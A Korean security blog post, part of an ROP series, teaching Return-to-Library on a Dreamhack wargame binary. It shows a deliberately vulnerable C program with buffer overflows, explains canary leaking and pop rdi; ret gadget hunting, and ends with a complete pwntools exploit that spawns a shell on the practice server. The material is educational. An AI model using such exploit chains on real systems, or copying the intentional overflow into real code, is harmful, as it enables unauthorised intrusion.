rosieblue
article thumbnail
728x90

๐Ÿ”ROP ์‹œ๋ฆฌ์ฆˆ๐Ÿ”

[ROP ์‹œ๋ฆฌ์ฆˆ (1)] ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์™€ ๋งํฌ

[ROP ์‹œ๋ฆฌ์ฆˆ (2)] PLT, GOT

[ROP ์‹œ๋ฆฌ์ฆˆ (3)] Return to Library ๊ฐœ๋… ๋ฐ ์‹ค์Šต <-์—ฌ๊ธฐ!

[ROP ์‹œ๋ฆฌ์ฆˆ (4)] ๋“œ๋ฆผํ•ต(Dreamhack) - rop

 


 

ASLR์™€ NX์˜ ๋“ฑ์žฅ์œผ๋กœ ์ธํ•ด ํ•จ์ˆ˜๋‚˜ ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ๊ธฐ ์–ด๋ ค์›Œ์กŒ๊ณ , ์›ํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์กฐ์ฐจ ์–ด๋ ค์›Œ์กŒ๋‹ค.
์˜ค๋Š˜์€ ์šฐ๋ฆฌ๊ฐ€ ๋งŒ๋“  ์…ธ ์ฝ”๋“œ๊ฐ€ ์•„๋‹Œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์‰˜์„ ๋”ฐ๋‚ด๋Š” ์‹ค์Šต์„ ํ•ด๋ณผ ๊ฒƒ์ด๋‹ค.
์ผ๋‹จ ret๊ฐ€ pop rip์˜ ์•ฝ์ž์ž„์„ ๊ธฐ์–ตํ•˜๊ณ  ๋“ค์–ด๊ฐ€์ž


 
์ฝ”๋“œ

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh"; 
//"/bin/sh" ๋ฅผ ์ „์—ญ๋ณ€์ˆ˜๋กœ ์„ ์–ธํ•˜์—ฌ ๋ฐ์ดํ„ฐ ์„ธ๊ทธ๋จผํŠธ์— ์ €์žฅ (์ฃผ์†Œ ๊ณ ์ •)

int main() {
  char buf[0x30];
  
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  // Add system function to plt's entry
  system("echo 'system@plt'"); 
  //systemํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•จ์œผ๋กœ์จ plt์— ์ถ”๊ฐ€ํ•˜๋Š” ์—ญํ• 
  
  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100); 
  printf("Buf: %s\n", buf);
  //์นด๋‚˜๋ฆฌ ํš๋“
  
  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  
  return 0;
}

 
์šฐ๋ฆฌ์˜ ์ตœ์ข… ๋ชฉํ‘œ๋Š” system("/bin/sh")์„ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.
๊ทธ๋ ‡๋‹ค๋ฉด return address์— systemํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด์•ผํ• ๊นŒ? ํ•˜์ง€๋งŒ ์šฐ๋ฆฌ๋Š” "/bin/sh"๋ผ๋Š” ๋ฌธ์ž์—ด ๋˜ํ•œ rdi์— ๋„ฃ์–ด์ฃผ์–ด์•ผํ•œ๋‹ค.

 

๋”ฐ๋ผ์„œ ๊ทธ๋ƒฅ ๋ฐ”๋กœ systemํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๋„ฃ์œผ๋ฉด ์•ˆ๋˜๊ณ  pop rdi; ret (pop rdi์™€ ret์ด ์—ฐ์†์ ์œผ๋กœ ์žˆ๋Š” ์ฝ”๋“œ)๊ฐ€ ๋“ค์–ด์žˆ๋Š” ๊ณณ์„ ์ฐพ์•„์•ผํ•œ๋‹ค.

 

๋”๋ณด๊ธฐ

์นด๋‚˜๋ฆฌ ์šฐํšŒ๋Š” ๊ฐ„๋‹จํ•˜๋ฏ€๋กœ ๊ทธ๋ƒฅ ๊ฐ„๋‹จํžˆ ๋ณด๋„๋ก ํ•˜๊ฒ ๋‹ค. (์ด ํฌ์ŠคํŠธ ์ฃผ์ œ์™€๋Š” ์—ฐ๊ด€์—†์œผ๋‚˜ ์ต์Šคํ”Œ๋กœ์ž‡์„ ํ•˜๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•˜๋‹ค)

 

๋ฒ„ํผ์‹œ์ž‘~์นด๋‚˜๋ฆฌ๊นŒ์ง€ ๊ฑฐ๋ฆฌ ๊ตฌํ•ด์•ผํ•จ.

๋ฒ„ํผ์‹œ์ž‘ ์œ„์น˜๋Š” read์—์„œ rsi ์œ„์น˜๋ฅผ ์ฐธ๊ณ ํ•˜๋ฉด ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค!

์นด๋‚˜๋ฆฌ ์œ„์น˜๋Š” ๋ณดํ†ต sfp-0x8์ด์ง€๋งŒ gdb๋กœ ํ™•์ธํ•ด๋ณด๋Š” ๊ฒƒ์ด ๋” ์ •ํ™•ํ•˜๋‹ค(ํ•จ์ˆ˜ ์—ํ”Œ๋กœ๊ทธ์—์„œ ์–ด๋–ค์• ๋ฅผ ๊ฒ€์ฆํ•˜๋Š”์ง€ ๋ณด๊ณ , ํ•จ์ˆ˜ ํ”„๋กค๋กœ๊ทธ์—์„œ ๊ทธ ์• ๊ฐ€ ๋ญ”์ง€ ํ™•์ธํ•˜๊ณ  ์–ด๋””์— ์–ผ๋งˆ๋‚˜ ์ €์žฅ๋˜์–ด์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ฉด ๋œ๋‹ค)

rsi๊ฐ€ buffer ์œ„์น˜๋‹ค. ์–˜๋Š” rbp-0x40์ด๋ผ๊ณ  ํ•œ๋‹ค

 

 ์นด๋‚˜๋ฆฌ๋Š” rbp-0x8์— ์ž˜ ์ €์žฅ๋˜์–ด์žˆ๋‹น

 

(์š”๊ธฐ์„œ ๋ณด๋ฉด rax๋ฅผ fs:0x28์—์„œ ๊ฐ€์ ธ์˜ค๋Š”๊ฑธ ์•Œ์ˆ˜์ด๋”ฐ)

 

 

์šฐ๋ฆฌ๋Š” ์Šคํƒ ํ”„๋ ˆ์ž„(ํŽ˜์ด๋กœ๋“œ)์„ ์œ„์™€๊ฐ™์ด ๊ตฌ์„ฑํ•ด์ค„ ๊ฒƒ์ด๋‹ค. ์ด๋ฅผ ์ฝ”๋“œ๋กœ ์ž‘์„ฑํ•˜๋ฉด payload=b'A'*0x38+canary+rbp_dummy+ret_gadget+poprdi_gadget+binsh_addr+sys_plt ์ด๋‹ค.

์ด์ œ ์ด๋ ‡๊ฒŒ ์Šคํƒ ํ”„๋ ˆ์ž„์ด ์žˆ๋Š” ๊ฒฝ์šฐ main์—์„œ ret์— ๋„๋‹ฌํ–ˆ์„ ๋•Œ ์–ด๋–ค์‹์œผ๋กœ ํ๋ฆ„์ด ์ง„ํ–‰๋˜๋Š”์ง€ ์‚ดํŽด๋ณด์ž. ์นด๋‚˜๋ฆฌ ์šฐํšŒ๋Š” ๋‹ค ํ–ˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๊ฒ ๋‹ค.

 

์ผ๋‹จ main์—์„œ ret์ฝ”๋“œ๋กœ ๋„์ฐฉํ•œ ์ƒํ™ฉ์ด๋‹ค. ์ด๋•Œ ret๋Š” pop rip์˜ ์•ฝ์ž์ด๋ฏ€๋กœ ์šฐ๋ฆฌ๋Š” ์Šคํƒ ๋งจ ์œ„์— ์žˆ๋Š” pop rdi;ret์˜ ์ฃผ์†Œ(0x1234)๋ฅผ rip๋กœ ์˜ฎ๊ธด๋‹ค.

 

 

๊ทธ๋Ÿฌ๋ฉด ์ด๋ ‡๊ฒŒ ์‹คํ•ด ํ๋ฆ„์ด main์˜ ret์—์„œ 0x1234 (pop rdi๊ฐ€ ์žˆ๋Š” ๋ถ€๋ถ„)์œผ๋กœ ์˜ฎ๊ฒจ์กŒ๋‹ค. 0x1234๊ฐ€ pop๋˜์—ˆ๊ณ  ์Šคํƒ ๋งจ ์œ„์—๋Š” "bin/sh"์ฃผ์†Œ๊ฐ€ ๋‚จ์•„์žˆ๋‹ค.

ํ•œํŽธ ์šฐ๋ฆฌ๋Š” pop rdi๋ผ๋Š” ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•˜๋ฏ€๋กœ ์ด๋ฅผ ์‹คํ–‰ํ•˜๋ฉด "/bin/sh"์˜ ์ฃผ์†Œ๊ฐ€ pop๋˜์–ด์„œ rdi์— ์ €์žฅ๋œ๋‹ค.

 

์ด์ œ ์šฐ๋ฆฌ๋Š” 0x1234 ๋ฐ‘์˜ ret์„ ์‹คํ–‰ํ•ด์•ผํ•œ๋‹ค(๋…ธ๋ž€์ƒ‰์œผ๋กœ ์น ํ•ด์ง„๋ถ€๋ถ„) ๋”ฐ๋ผ์„œ system@plt๋กœ rip๊ฐ€ ์ด๋™๋˜๊ณ  ์Šคํƒ์—๋Š” ์•„๋ฌด๊ฒƒ๋„ ๋‚จ์ง€ ์•Š๊ฒŒ ๋œ๋‹ค. ํ•œํŽธ rdi์— /bin/sh๊ฐ€ ๋“ค์–ด์žˆ์œผ๋ฏ€๋กœ ์ตœ์ข…์ ์œผ๋กœ system("/bin/sh")

 


์˜ˆ์ „๊ณผ ๋‹ค๋ฅธ ์ ์€, ๋‹จ์ˆœํžˆ ์˜ˆ์ „์—๋Š” return๋ฌธ์— ํ•จ์ˆ˜ ์ฃผ์†Œ ํ˜น์€ ์…ธ์ฝ”๋“œ ์ฃผ์†Œ'๋งŒ' ๋„ฃ์—ˆ๋‹ค๋ฉด, ์ด์ œ๋Š” ๊ทธ ํ•จ์ˆ˜์— ํ•„์š”ํ•œ ์ธ์ž๊ฐ€ ํ•„์š”ํ•˜๋‹ค๋ฉด, ๊ทธ๊ฒƒ๋„ ์ฒ˜๋ฆฌํ•ด์ค„ ์ฝ”๋“œ์กฐ๊ฐ์„ ๋จผ์ € ๋„ฃ๋Š”๊ฒƒ์ด๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋ฆฌํ„ด์„ ํ•ด์ฃผ๋Š” ๊ฒƒ์ด๋‹ค. ์ฆ‰ returnํ•˜๊ณ  ๋ฐ”๋กœ ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋˜๊ธฐ ์ „ ์ด์ „ ๋™์ž‘๋“ค๋„ ๊ฐ™์ดํ•  ์ˆ˜ ์žˆ๊ฒŒ๋” ret๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด ์šฐ๋ฆฌ๊ฐ€ systemํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜๋ ค๋ฉด rdi์— ์ธ์ž๋ฅผ ๋จผ์ € ๋„ฃ์–ด์ฃผ๋Š” ๊ณผ์ •์ด ํ•„์š”ํ•˜๋‹ค.

๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๊ฐ€ ํ•„์š”ํ•œ๊ฑด ๋‹จ์ˆœ ret์ด ์•„๋‹ˆ๋ผ, pop rdi, ret์ธ ๊ฒƒ์ด๋‹ค. ๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” ๋ฐ”๋กœ systemํ•จ์ˆ˜์˜ ์œ„์น˜๋กœ ์ด๋™ํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ pop rdi๋ฅผ ํ•˜๊ณ  systemํ•จ์ˆ˜๋กœ ๋ฆฌํ„ดํ•œ๋‹ค. 

์ด๋ ‡๊ฒŒ ret๋กœ ๋๋‚˜๋Š” ์ฝ”๋“œ ์กฐ๊ฐ์„ ์šฐ๋ฆฌ๋Š” Return Gadget์ด๋ผ๊ณ  ํ•œ๋‹ค!! ๋˜ํ•œ ํ•จ์ˆ˜๋“ค๋„ ๋Œ€๋ถ€๋ถ„ ret๋กœ ๋๋‚˜๊ธฐ ๋•Œ๋ฌธ์— ํ•จ์ˆ˜๋“ค๋„ return Gadget์œผ๋กœ ์“ฐ์ด๊ธฐ๋„ ํ•œ๋‹ค.

 

์ด๋ ‡๊ฒŒ ๋ฆฌํ„ด ๊ฐ€์ ฏ๋“ค๋กœ ์—ฐ๊ฒฐ๋œ ์ฝ”๋“œ ๋ฌถ์Œ์„ ROP Chain์ด๋ผ๊ณ  ํ•œ๋‹ค, ROP Chain์€ ret ๋‹จ์œ„๋กœ ์—ฌ๋Ÿฌ ์ฝ”๋“œ๊ฐ€ ์—ฐ์‡„์ ์œผ๋กœ ์‹คํ–‰๋œ๋‹ค! ROP๋Š” Return Oriented Programming์˜ ์•ฝ์ž๋กœ, Return Gadget์„ ์ด์šฉํ•ด ๋ณต์žกํ•œ ํ๋ฆ„์„ ๋งŒ๋“ค์–ด๋‚ด๋Š” ํ•ดํ‚น ๊ธฐ๋ฒ•์ด๋‹ค. ์˜ค๋Š˜ ํ•˜๋Š” RTL(Return to Library)๋„ ์ด๊ฒƒ์˜ ์‰ฌ์šด ์˜ˆ๋ผ๊ณ  ์ƒ๊ฐํ•˜๋ฉด ๋œ๋‹ค. ROP์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์— ํฌ์ŠคํŠธ๋กœ ์˜ฌ๋ฆด ์˜ˆ์ •์ด๋‹ค.

 

๊ทธ๋ฆฌ๊ณ  ์™œ ๊ทธ๋ƒฅ gadget์ด ์•„๋‹ˆ๋ผ ret๊ฐ€ ๋“ค์–ด๊ฐ„ gadget์„ ์ฐพ๋ƒ๋ฉด, ret์„ ํ•ด์•ผ rip๊ฐ€ ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ์œ„์น˜๋กœ ๋˜ ์ด๋™ํ•ด ์›ํ•˜๋Š” ๋™์ž‘์„ ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค!!

 

 

์ด์ œ๋Š” ๊ทธ๋ƒฅ ๊ธฐ๊ณ„์ ์œผ๋กœ ๊ตฌํ•ด์ฃผ๋ฉด ๋œ๋‹ค

 

ROP Gadget ๊ตฌํ•˜๋Š” ๋ฒ•

ROPgadget ๋ช…๋ น์–ด ์ด์šฉ

 

pop rdi; ret์˜ ์ฃผ์†Œ๋Š” ROPgadget ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์ฐพ๋Š”๋‹ค.

๋ช…๋ น์–ด๋Š” ROPgadget --binary [๋ฐ”์ด๋„ˆ๋ฆฌ ์ด๋ฆ„] --re "์ฐพ์„ ๊ฐ€์ ฏ ๊ทœ์น™" ์ด๋‹ค

0x400853์ด ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ๊ฐ€์ ฏ ์ฃผ์†Œ์ด๋‹ค

 

/bin/sh์˜ ์ฃผ์†Œ๋Š” ์šฐ๋ฆฌ๊ฐ€ ์•„๊นŒ ์ „์—ญ ๋ณ€์ˆ˜๋กœ ์„ ์–ธํ•ด ๋†“์•˜์—ˆ๋‹ค.(์ฐธ๊ณ ๋กœ ASLR๋Š” ๋ฐ์ดํ„ฐ ์„ธ๊ทธ๋จผํŠธ์˜ ์ฃผ์†Œ๋Š” ๋žœ๋คํ™”ํ•˜์ง€ ์•Š๋Š”๋‹ค) /bin/sh๋Š” ์ „์—ญ๋ณ€์ˆ˜์ด๋ฏ€๋กœ ๋ฐ์ดํ„ฐ ์„ธ๊ทธ๋จผํŠธ์— ์žˆ์„ ๊ฒƒ์ด๋ฏ€๋กœ ์œ„์น˜๋Š” ๊ณ ์ •์ด๋‹ค.

 

 

๋งˆ์ง€๋ง‰์œผ๋กœ system@plt ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜์ž! ์ด๋Š” ์•„๋ž˜์ฒ˜๋Ÿผ gdb์—์„œ plt๋ฅผ ์ณ์„œ ๊ตฌํ•  ์ˆ˜๋„ ์žˆ๊ณ ,

 

์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ์— ์ด๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

e=ELF("./rtl")
sys_plt=e.plt[’system’] #system@plt์ฃผ์†Œ

remote๋ฅผ ๊ณต๊ฒฉํ•ด๋„ remote์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ๋งŒ ์กด์žฌํ•˜๋ฉด ๊ฑ ์ด๋ ‡๊ฒŒ ํ•ด๋„ ๋˜๋Š”๋“ฏ ์‹ถ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ASLR์ด ๊ฑธ๋ ค๋„ PIE๋งŒ ์•ˆ ๊ฑธ๋ ค์žˆ๋‹ค๋ฉด plt์˜ ์ฃผ์†Œ๋Š” ๋™์ผํ•˜๊ธฐ ๋•Œ๋ฌธ์— remote์—์„œ ๊ตฌํ•˜๋‚˜ ์šฐ๋ฆฌ์ง‘ ๋กœ์ปฌ ํŒŒ์ผ์—์„œ ๊ตฌํ•˜๋‚˜ plt ์ฃผ์†Œ๋Š” ๊ฐ™๋‹ค.

 

objdump

objdump ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•ด ์ˆ˜๋™์œผ๋กœ ์ฐพ์•„์ค„ ์ˆ˜๋„ ์žˆ๋‹ค!

ROPgadget ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜๋ฉด ๋ฌด์กฐ๊ฑด libc๊ฐ€ ๋ญ”์ง€ ์•Œ์•„์•ผํ•˜์ง€๋งŒ, objdump์ด์šฉํ•˜๋ฉด ๋ฐ”์ด๋„ˆ๋ฆฌ ์ „์ฒด์—์„œ ๊ฐ€์ ฏ ์ฐพ์•„์ค„ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ํ™œ์šฉ๋„๊ฐ€ ์ข€ ๋” ๋†’๋‹ค.(์˜ˆ๋ฅผ ๋“ค์–ด ์ฝ”๋“œ ์„ธ๊ทธ๋จผํŠธ ์ฃผ์†Œ ์•ˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๋ฉด ๊ฑฐ๊ธฐ์„œ ๊ฐ€์ ฏ ์ฐพ์„ ์ˆ˜ ์žˆ์Œ) ๊ทธ๋Œ€์‹  ํ•˜๋‚˜ํ•˜๋‚˜ ์ฐพ์•„์•ผํ•œ๋‹ค.

 

๋‚˜๋Š” ์‹ค์ œ๋กœ CTF ๋ฌธ์ œ ๋‚ผ ๋•Œ ์ด ๊ธฐ๋Šฅ์„ ์ด์šฉํ•ด์„œ ๊ฐ€์ ฏ์„ ์ฐพ์€ ์  ์žˆ๋‹ค. ์ƒ๊ฐ๋ณด๋‹ค ํ™œ์šฉ๋„๊ฐ€ ๋†’์œผ๋‹ˆ ํ˜น์‹œ ํ•„์š”ํ•˜๋ฉด ์‚ฌ์šฉํ•ด๋ณด์ž.

 

objdump -d Notepad | grep -B4 "ret"

 

 

[ROP] gadget์ฐพ๋Š”๋ฒ•

ROP(Return Oriented Programming)์—์„œ ๊ฐ€์žฅ ํ•ต์‹ฌ์ ์ธ ๋ถ€๋ถ„์„ ๊ณ ๋ฅด๋ผ๊ณ  ํ•˜๋ฉด gadget์„ ๊ตฌํ•˜๋Š” ๊ฒƒ์ผ ๊ฒƒ์ด๋‹ค. ์ด์—๋Š” ๋ช‡๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค. 1. ROPgadget ์ด์šฉํ•˜๊ธฐ ๋ช…๋ น์–ด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์“ฐ๋ฉด ๋ฉ๋‹ˆ๋‹น. ROPgadget --binar

dokhakdubini.tistory.com

 

 

 

์•„๋ฌดํŠผ ์ด๋ ‡๊ฒŒ ํ•ด์„œ ์ตœ์ข… ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

 

from pwn import *

p=remote("host3.dreamhack.games",11846)
buf=b'A'*0x39 #์ œ๋ฐœ...........................
p.sendafter("Buf: ",buf)
p.recvuntil(buf)
canary=b'\x00'+p.recvn(7)

ret_gadget=p64(0x400285)
rbp_dummy=b'B'*0x8
poprdi_gadget=p64(0x400853)
binsh_addr=p64(0x400874)
sys_plt=p64(0x4005d0)

payload=b'A'*0x38+canary+rbp_dummy+ret_gadget+poprdi_gadget+binsh_addr+sys_plt
p.sendlineafter("Buf: ",payload)
p.interactive()

 

buf์˜†์˜ ์ฃผ์„ ์ œ๋ฐœ์€... 16์ง„์ˆ˜ ๊ณ„์‚ฐ์—์„œ 0x40-0x8์„ 0x32๋กœํ•ด์„œ ์‚ฝ์งˆ์„ ์˜ค์ง€๊ฒŒํ–ˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค..^^ ๊ทธ๋ž˜์„œ ๋‹ค์‹œ ๊ณ ์ณ์ค€ ๊ฒƒ์ด๋‹ค..ใ…œใ…œ

 

 

๋‹ค์Œ ๊ธ€

[ROP ์‹œ๋ฆฌ์ฆˆ (4)] ๋“œ๋ฆผํ•ต(Dreamhack) - rop

 

[๋“œ๋ฆผํ•ต(Dreamhack)] rop

์ง€๋‚œ ๊ธ€ : [Security/System] - [๋“œ๋ฆผํ•ต(Dreamhack)] Return to Library ๊ฐœ๋… ๋ฐ ์‹ค์Šต [๋“œ๋ฆผํ•ต(Dreamhack)] Return to Library ๊ฐœ๋… ๋ฐ ์‹ค์ŠตASLR์™€ NX์˜ ๋“ฑ์žฅ์œผ๋กœ ์ธํ•ด ํ•จ์ˆ˜๋‚˜ ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ๊ธฐ ์–ด๋ ค์›Œ์กŒ๊ณ , ์›ํ•˜๋Š” ์ฝ”๋“œ

hannahsecurity.tistory.com

 

profile

rosieblue

@Rosieblue

ํฌ์ŠคํŒ…์ด ์ข‹์•˜๋‹ค๋ฉด "์ข‹์•„์š”โค๏ธ" ๋˜๋Š” "๊ตฌ๋…๐Ÿ‘๐Ÿป" ํ•ด์ฃผ์„ธ์š”!